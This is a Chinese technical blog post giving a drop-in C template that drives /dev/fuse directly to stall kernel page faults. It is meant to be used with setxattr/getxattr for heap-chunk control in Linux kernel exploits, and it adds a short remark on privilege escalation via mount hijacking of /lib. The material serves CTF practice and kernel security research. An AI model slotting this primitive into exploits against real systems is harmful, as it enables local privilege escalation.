fuse + {get,set}xattr 利用模板

Posted on Jun 9, 2025

起因

最近由于一些原因,需要使用 fuse + getxattr 这个 gadget。关于这种方法,可以参考这两篇文章:ref1ref2

ref2 里面有给出一个模板,但是遗憾的是此模板使用的是 libfuse 提供的类 VFS 接口。使用 libfuse 就需要我们能够把 libfuse 的库链接到 exp 中,许多时候这并非太大的难度,但是有些时候这样比较麻烦。

模板

但是在这个 issuepoc 中我们可以看到,实际上 fuse 子系统暴露给用户态的是 /dev/fuse 这个字符设备。因此我们只要 openmountreadwrite 就能成功注册一个 fuse。其实只要看一下 libfuse 的源码也不难得出同样的结论。

所以下面给出一个易于集成的模板。编译很简单,保证 g++ 能找到 "linux/fuse”,直接 g++ main.cc 即可,所以可以无缝融入 exp 中。

#include <assert.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

#define LOG(...)                                                               \
  do {                                                                         \
    printf(__VA_ARGS__);                                                       \
    putchar('\n');                                                             \
  } while (0)

char dumphex_buffer[0x8000];
void DumpHex(const void *data, size_t size) {
#define append_to_dumphex_buffer(...)                                          \
  snprintf(tmp_buf, sizeof(tmp_buf), __VA_ARGS__);                             \
  strcat(dumphex_buffer, tmp_buf);

  char ascii[17];
  char tmp_buf[0x100];
  memset(dumphex_buffer, 0, sizeof(dumphex_buffer));
  size_t i, j;
  ascii[16] = '\0';
  for (i = 0; i < size; ++i) {
    append_to_dumphex_buffer("%02X ", ((unsigned char *)data)[i]);
    if (((unsigned char *)data)[i] >= ' ' &&
        ((unsigned char *)data)[i] <= '~') {
      ascii[i % 16] = ((unsigned char *)data)[i];
    } else {
      ascii[i % 16] = '.';
    }
    if ((i + 1) % 8 == 0 || i + 1 == size) {
      append_to_dumphex_buffer(" ");
      if ((i + 1) % 16 == 0) {
        append_to_dumphex_buffer("|  %s \n", ascii);
      } else if (i + 1 == size) {
        ascii[(i + 1) % 16] = '\0';
        if ((i + 1) % 16 <= 8) {
          append_to_dumphex_buffer(" ");
        }
        for (j = (i + 1) % 16; j < 16; ++j) {
          append_to_dumphex_buffer("   ");
        }
        append_to_dumphex_buffer("|  %s \n", ascii);
      }
    }
  }
  printf("%s\n", dumphex_buffer);
}

#define EVIL_FUSE_FILE "abcd"
#define EVIL_FUSE_FILE_NODEID (2)
#define EVIL_FUSE_FILE_FH (0xdeadbeef)

void fuse_server(int fuse_fd) {
#define FUSE_OBJ_READ(_obj)                                                    \
  if (read(fuse_fd, &(_obj), sizeof(_obj)) != sizeof(_obj)) {                  \
    LOG("failed to read %s", #_obj);                                           \
    return;                                                                    \
  }
#define FUSE_REPLY_WRITE(_obj)                                                 \
  if (write(fuse_fd, &(_obj), (_obj).h.len) != (_obj).h.len) {                 \
    LOG("failed to write %s, errno = %d", #_obj, errno);                       \
    /*return;*/                                                                \
  }
#define FUSE_REPLY_ERR(errno)                                                  \
  do {                                                                         \
    struct {                                                                   \
      struct fuse_out_header h;                                                \
    } __reply = {                                                              \
        .h = {.len = sizeof(__reply),                                          \
              .error = -errno,                                                 \
              .unique = buf.inh.unique},                                       \
    };                                                                         \
    FUSE_REPLY_WRITE(__reply);                                                 \
  } while (0)

  struct fuse_attr_out dir_attrs = {
      .attr_valid = FATTR_SIZE | FATTR_MODE,
      .attr = {.size = 42, .mode = S_IFDIR | 0777}};

  struct fuse_attr_out evil_file_attrs = {
      .attr_valid = FATTR_SIZE | FATTR_MODE,
      .attr = {.size = 0x1000, .mode = S_IFREG | 0777}};

  char evil_file_buffer[0x1000];
  memset(evil_file_buffer, 'A', 0x1000);
  evil_file_buffer[0x1000 - 1] = '\0';

  while (1) {
    struct inbuf {
      struct fuse_in_header inh;
      union {
        struct fuse_init_out init_out;
        struct fuse_open_in open_in;
        struct fuse_getattr_in getattr_in;
        struct fuse_read_in read_in;
        struct fuse_write_in write_in;
        char pad[10000];
      };
    } buf;
    size_t read_len = read(fuse_fd, &buf, sizeof(buf));
    if (read_len < 0) {
      LOG("failed to read from fuse_fd, errno = %d", errno);
      return;
    }
    LOG("recv:");
    DumpHex(&buf, read_len);
    assert(read_len >= sizeof(buf.inh));
    if (buf.inh.opcode == FUSE_INIT) {
      LOG("fuse: init");
      struct {
        struct fuse_out_header h;
        struct fuse_init_in b;
      } reply = {
          .h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
          .b = {.major = buf.init_out.major, .minor = buf.init_out.minor}};
      FUSE_REPLY_WRITE(reply);
    } else if (buf.inh.opcode == FUSE_LOOKUP) {
      LOG("fuse: lookup, node=%lu, name %s", buf.inh.nodeid, buf.pad);
      if (buf.inh.nodeid == 1 && strcmp(buf.pad, EVIL_FUSE_FILE) == 0) {
        struct {
          struct fuse_out_header h;
          struct fuse_entry_out b;
        } reply = {
            .h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
            .b = {.nodeid = EVIL_FUSE_FILE_NODEID,
                  .entry_valid = 1,
                  .attr = evil_file_attrs.attr}};
        FUSE_REPLY_WRITE(reply);
      } else {
        FUSE_REPLY_ERR(-ENOENT);
      }
    } else if (buf.inh.opcode == FUSE_GETATTR) {
      LOG("fuse: getattr, node=%lu", buf.inh.nodeid);
      if (buf.inh.nodeid == 2) {
        struct {
          struct fuse_out_header h;
          struct fuse_attr_out b;
        } reply = {
            .h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
            .b = evil_file_attrs};
        FUSE_REPLY_WRITE(reply);
      } else if (buf.inh.nodeid == 1) {
        struct {
          struct fuse_out_header h;
          struct fuse_attr_out b;
        } reply = {
            .h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
            .b = dir_attrs};
        FUSE_REPLY_WRITE(reply);
      } else {
        struct {
          struct fuse_out_header h;
        } reply = {
            .h = {.len = sizeof(reply),
                  .error = -ENOENT,
                  .unique = buf.inh.unique},
        };
        FUSE_REPLY_WRITE(reply);
      }
    } else if (buf.inh.opcode == FUSE_OPEN) {
      if (buf.inh.nodeid == 2) {
        struct {
          struct fuse_out_header h;
          struct fuse_open_out b;
        } reply = {
            .h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
            .b = {.fh = EVIL_FUSE_FILE_FH}};
        FUSE_REPLY_WRITE(reply);
      } else {
        struct {
          struct fuse_out_header h;
        } reply = {.h = {.len = sizeof(reply),
                         .error = -ENOENT,
                         .unique = buf.inh.unique}};
        FUSE_REPLY_WRITE(reply);
      }
    } else if (buf.inh.opcode == FUSE_READ) {
      size_t off = buf.read_in.offset;
      size_t size = buf.read_in.size;
      int err = 0;

      LOG("fuse: read, off %ld, size %ld", off, size);

      //////////////////////////////////////////////////////////////////////////
      // set your delay
      sleep(4);
      //////////////////////////////////////////////////////////////////////////

      if (off >= 0x1000) {
        err = -EINVAL;
      }
      if (off + size > 0x1000) {
        size = 0x1000 - off;
      }

      if (err < 0) {
        FUSE_REPLY_ERR(err);
      } else {
        struct {
          struct fuse_out_header h;
          char pad[0x1000];
        } reply;

        reply.h.len = sizeof(reply) - (0x1000 - size);
        reply.h.error = 0;
        reply.h.unique = buf.inh.unique;

        ////////////////////////////////////////////////////////////////////////
        // you can set the read result here
        memcpy(reply.pad, evil_file_buffer + off, size);
        ////////////////////////////////////////////////////////////////////////

        FUSE_REPLY_WRITE(reply);
      }
    } else if (buf.inh.opcode == FUSE_WRITE) {
      size_t off = buf.read_in.offset;
      size_t size = buf.read_in.size;
      char *write_buffer = sizeof(buf.write_in) + buf.pad;
      int err = 0;

      LOG("fuse: write, off %ld, size %ld", off, size);

      if (off >= 0x1000) {
        err = -EINVAL;
      }
      if (off + size > 0x1000) {
        size = 0x1000 - off;
      }

      if (err < 0) {
        FUSE_REPLY_ERR(err);
      } else {
        ////////////////////////////////////////////////////////////////////////
        // you can set the write request here
        memcpy(evil_file_buffer + off, write_buffer + off, size);

        struct {
          struct fuse_out_header h;
          struct fuse_write_out b;
        } reply = {
            .h = {.len = sizeof(reply), .error = 0, .unique = buf.inh.unique},
            .b = {.size = (unsigned int)size}};
        FUSE_REPLY_WRITE(reply);
      }
    } else if (buf.inh.opcode == FUSE_FORGET) {
      // no reply
      continue;
    } else {
      LOG("FUSE_op = %d, will ret 0", buf.inh.opcode);
      FUSE_REPLY_ERR(0);
    }
  }
  close(fuse_fd);
#undef FUSE_OBJ_READ
#undef FUSE_REPLY_WRITE
#undef FUSE_REPLY_ERR
}

int main() {
  int fuse_fd = open("/dev/fuse", O_RDWR);
  if (fuse_fd < 0) {
    LOG("failed to open /dev/fuse, errno = %d", errno);
  }
  char mount_data[1024];

  snprintf(mount_data, sizeof(mount_data),
           "fd=%d,rootmode=40777,user_id=%d,group_id=%d,allow_other", fuse_fd,
           getuid(), getgid());

  mkdir("/tmp/fusedir", 0777);

  // make sure you can mount, for example, use mount namespace
  // unshare(CLONE_NEWUSER|CLONE_NEWNS);
  // mount(NULL, "/", NULL, MS_PRIVATE|MS_REC, NULL);
  
  int ret =
      mount("fusemt", "/tmp/fusedir", "fuse", MS_NODEV | MS_NOSUID, mount_data);
  LOG("mount ret %d, errno = %d", ret, errno);

  if (ret < 0) {
    return ret;
  }

  int pid = fork();
  if (pid == 0) {
    fuse_server(fuse_fd);
    exit(0);
  }

  ////////////////////////////////////////////////////////////////////////////////
  // your exp here
  // auto evil_fd = open("/tmp/fusedir" EVIL_FUSE_FILE, O_RDWR);
  ////////////////////////////////////////////////////////////////////////////////

  waitpid(pid, nullptr, 0);
}

关于 getxattr

其实 setxattr + fuse/userfualtfd 并非完全的内容可控,最后一个字节总是无法稳定控制的。如果需要最后一字节可控,此时使用 getxattr 作为一个噪声略大的替代方法也不错。此时利用流程变为:

  1. setxattr 设置想要写入的数据
  2. evil_fuse_file = openevil_fuse_file_addr = mmap(evil_fuse_file) evil fuse file
  3. getxattr(evil_fuse_file_addr)
  4. getxattr 通过 kvmalloc 出用户指定大小的 chunk
  5. 通过 vfs 操作获取文件 xattr,将 xattr 写入 chunk
  6. 尝试通过 copy_to_user 将 chunk 内容拷贝给用户态
  7. copy_to_user 触发 evil_fuse_file_addr 所在页的缺页异常,内核会读取 evil_fuse_file 文件
  8. 在我们向 /dev/fuse 写入 response 前,copy_to_user 都无法返回,因此我们可以完全控制 chunk 的 free 时机

我们可以看到,getxattr 可以完全控制此 chunk 的数据。

这里要注意的是,虽然 copy_to_user 是向 evil_fuse_file_addr 写入数据,但是对于内核来说,仍然要先把页转为 mapped 状态,这必然要读文件。而当 copy_to_user 真正写入 evil_fuse_file_addr 时,由于缓存的存在,也不一定会直接触发 fuse 的文件写。所以我们还是要在 FUSE_READ 回调中进行 sleep。

使用前提

如果要用 fuse,需要我们拥有 mount 权限,内核需要有 CONFIG_FUSE_FS=y。mount 权限可以通过 mount_namespaces 来获取。CTF 中许多时候无法使用 fuse 来利用,大概率是 CONFIG_FUSE_FS=y 未开启,因此 /dev/fuse 驱动不存在。

mount 有什么错?

我们知道,Linux 中,只有 root 才能进行 mount。但是 mount 似乎没什么危险的?实际上是我们可以通过 mount 来改变一些本来不能改变的文件。如果非 root 能 mount,那么我们就可以通过 mount 把 /lib/ 劫持掉,然后起 suid 程序实现提权。

所以我们可以发现 mount_namespace 在把外部文件系统隔离掉后,就允许我们 mount 了。